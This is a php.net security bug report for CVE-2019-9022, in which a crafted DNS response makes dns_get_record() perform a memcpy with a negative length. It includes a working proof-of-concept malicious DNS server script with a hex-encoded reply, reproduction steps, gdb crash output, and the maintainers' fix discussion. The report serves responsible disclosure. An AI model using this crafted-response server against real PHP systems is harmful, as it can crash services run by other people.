php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #77369 memcpy with negative length via crafted DNS response
Submitted: 2018-12-29 14:01 UTC Modified: 2019-02-22 22:07 UTC
From: h4x0n4ut at gmail dot com Assigned: stas (profile)
Status: Closed Package: *Network Functions
PHP Version: 7.1.25 OS: *
Private report: No CVE-ID: 2019-9022
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: h4x0n4ut at gmail dot com
New email:
PHP Version: OS:

 

 [2018-12-29 14:01 UTC] h4x0n4ut at gmail dot com
Description:
------------
A malicious DNS server can send a reply that leads to a memcpy operation with a negative size parameter. This affects the function `dns_get_record()` if the DNS query is of type DNS_CAA or DNS_ANY. 

Steps to reproduce:
Add "nameserver 127.0.0.1" to /etc/resolv.conf
Run the provided server script
Run: php -r 'dns_get_record("a.a.a");'


The problem here is that the DNS parser in "ext/standard/dns.c" does not account for dlen=0, leading to a negative n which is not detected by CHECKCP.
Furthermore, the string allocator in "Zend/zend_string.h" does not check for integer overflows when adjusting the size using ZEND_MM_ALIGNED_SIZE.


Test script:
---------------
Server script:
<?php

$socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_bind($socket, "0.0.0.0", 53);
socket_set_nonblock($socket);

while(1) {
	$buf = "";
	@socket_recvfrom($socket, $buf, 4096, 0, $client_ip, $client_port);

	if (strlen($buf) <= 0)
		continue;

	$blo = bin2hex(substr($buf, 0, 2)) . "81000001000100000000016101610161000101000101610161016100010100010000012c00000000";
	$blo = hex2bin($blo) ;
	socket_sendto($socket, $blo, strlen($blo), MSG_EOF, $client_ip, $client_port);
}


Vulnerable script:
<?php
dns_get_record("a.a.a", DNS_CAA);

Expected result:
----------------
Warning or empty CAA record. 

Actual result:
--------------
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/php-7.3.0/sapi/cli/php -r 'dns_get_record("a.a.a", DNS_CAA);'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff4b21f53 in __memmove_avx_unaligned_erms () from /usr/lib/libc.so.6
(gdb) bt
#0  0x00007ffff4b21f53 in __memmove_avx_unaligned_erms () from /usr/lib/libc.so.6
#1  0x0000555555abf3d5 in zend_string_init (persistent=0, len=18446744073709551614, str=0x7ffffffed46a "") at /tmp/php-7.3.0/Zend/zend_string.h:157
#2  add_assoc_stringl_ex (arg=arg@entry=0x7ffffffed1f0, key=key@entry=0x55555625f99b "value", key_len=key_len@entry=5, str=str@entry=0x7ffffffed46a "", length=18446744073709551614)
    at /tmp/php-7.3.0/Zend/zend_API.c:1428
#3  0x00005555559cc777 in php_parserr (cp=0x7ffffffed46a "", end=end@entry=0x7ffffffed46a "", answer=answer@entry=0x7ffffffed440, type_to_fetch=type_to_fetch@entry=257, store=store@entry=1, 
    raw=0, subarray=0x7ffffffed1f0) at /tmp/php-7.3.0/ext/standard/dns.c:549
#4  0x00005555559cd7c2 in zif_dns_get_record (execute_data=<optimized out>, return_value=0x7fffffffd4d0) at /tmp/php-7.3.0/ext/standard/dns.c:983
#5  0x0000555555b416e1 in ZEND_DO_FCALL_BY_NAME_SPEC_RETVAL_UNUSED_HANDLER () at /tmp/php-7.3.0/Zend/zend_vm_execute.h:815
#6  execute_ex (ex=0x7ffff326fbc0) at /tmp/php-7.3.0/Zend/zend_vm_execute.h:55430
#7  0x0000555555b42de2 in zend_execute (op_array=op_array@entry=0x7ffff32792a0, return_value=return_value@entry=0x7fffffffd590) at /tmp/php-7.3.0/Zend/zend_vm_execute.h:60834
#8  0x0000555555ab0057 in zend_eval_stringl (str=<optimized out>, str_len=<optimized out>, retval_ptr=0x0, string_name=0x5555562b3901 "Command line code")
    at /tmp/php-7.3.0/Zend/zend_execute_API.c:1018
#9  0x0000555555ab0139 in zend_eval_stringl_ex (str=<optimized out>, str_len=<optimized out>, retval_ptr=<optimized out>, string_name=<optimized out>, handle_exceptions=1)
    at /tmp/php-7.3.0/Zend/zend_execute_API.c:1059
#10 0x0000555555b44f52 in do_cli (argc=5, argv=0x55555647c160) at /tmp/php-7.3.0/sapi/cli/php_cli.c:1028
#11 0x00005555556c67cc in main (argc=5, argv=0x55555647c160) at /tmp/php-7.3.0/sapi/cli/php_cli.c:1389
(gdb) i r
rax            0x7ffff325e0a8      140737272733864
rbx            0x7ffff325e090      140737272733840
rcx            0x7ffff325e086      140737272733830
rdx            0xfffffffffffee4e6  -72474
rsi            0x7fffffffef82      140737488351106
rdi            0x7ffff326fbc0      140737272806336
rbp            0xfffffffffffffffe  0xfffffffffffffffe
rsp            0x7ffffffecc78      0x7ffffffecc78
r8             0xffffffffffffffe8  -24
r9             0x8                 8
r10            0x7ffff325e0a6      140737272733862
r11            0x7ffff325e0a8      140737272733864
r12            0x55555625f99b      93825005910427
r13            0x5                 5
r14            0x7ffffffed1f0      140737488278000
r15            0x7ffffffed46a      140737488278634
rip            0x7ffff4b21f53      0x7ffff4b21f53 <__memmove_avx_unaligned_erms+755>
eflags         0x10286             [ PF SF IF RF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2018-12-30 04:42 UTC] stas@php.net
-Operating System: +Operating System: * -PHP Version: 7.3.0 +PHP Version: 7.1.25 -Assigned To: +Assigned To: stas -CVE-ID: +CVE-ID: needed
 [2018-12-30 04:42 UTC] stas@php.net
Proposed fix in security repo as 68144cb1beb88361b9c59ec75b8c0e250a4ac656 and in https://gist.github.com/smalyshev/35b5e5a2aeb1006290a5a0aaf6835f7d

Please verify
 [2019-01-02 21:20 UTC] h4x0n4ut at gmail dot com
From a security perspective the patch looks correct but I'm not sure whether aborting parsing a reply when a zero length entry is found is the best solution since it might lead to incomplete parsing of ANY responses.

Are there legitimate cases where rdlength = 0? Afaik this is the case for NULL entries.
 [2019-01-07 08:19 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=8d3dfabef459fe7815e8ea2fd68753fd17859d7b
Log: Fix #77369 - memcpy with negative length via crafted DNS response
 [2019-01-07 08:19 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2019-01-07 08:20 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=8d3dfabef459fe7815e8ea2fd68753fd17859d7b
Log: Fix #77369 - memcpy with negative length via crafted DNS response
 [2019-01-07 08:20 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=8d3dfabef459fe7815e8ea2fd68753fd17859d7b
Log: Fix #77369 - memcpy with negative length via crafted DNS response
 [2019-01-07 08:21 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=8d3dfabef459fe7815e8ea2fd68753fd17859d7b
Log: Fix #77369 - memcpy with negative length via crafted DNS response
 [2019-02-22 22:07 UTC] stas@php.net
-CVE-ID: needed +CVE-ID: 2019-9022
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 11:01:29 2024 UTC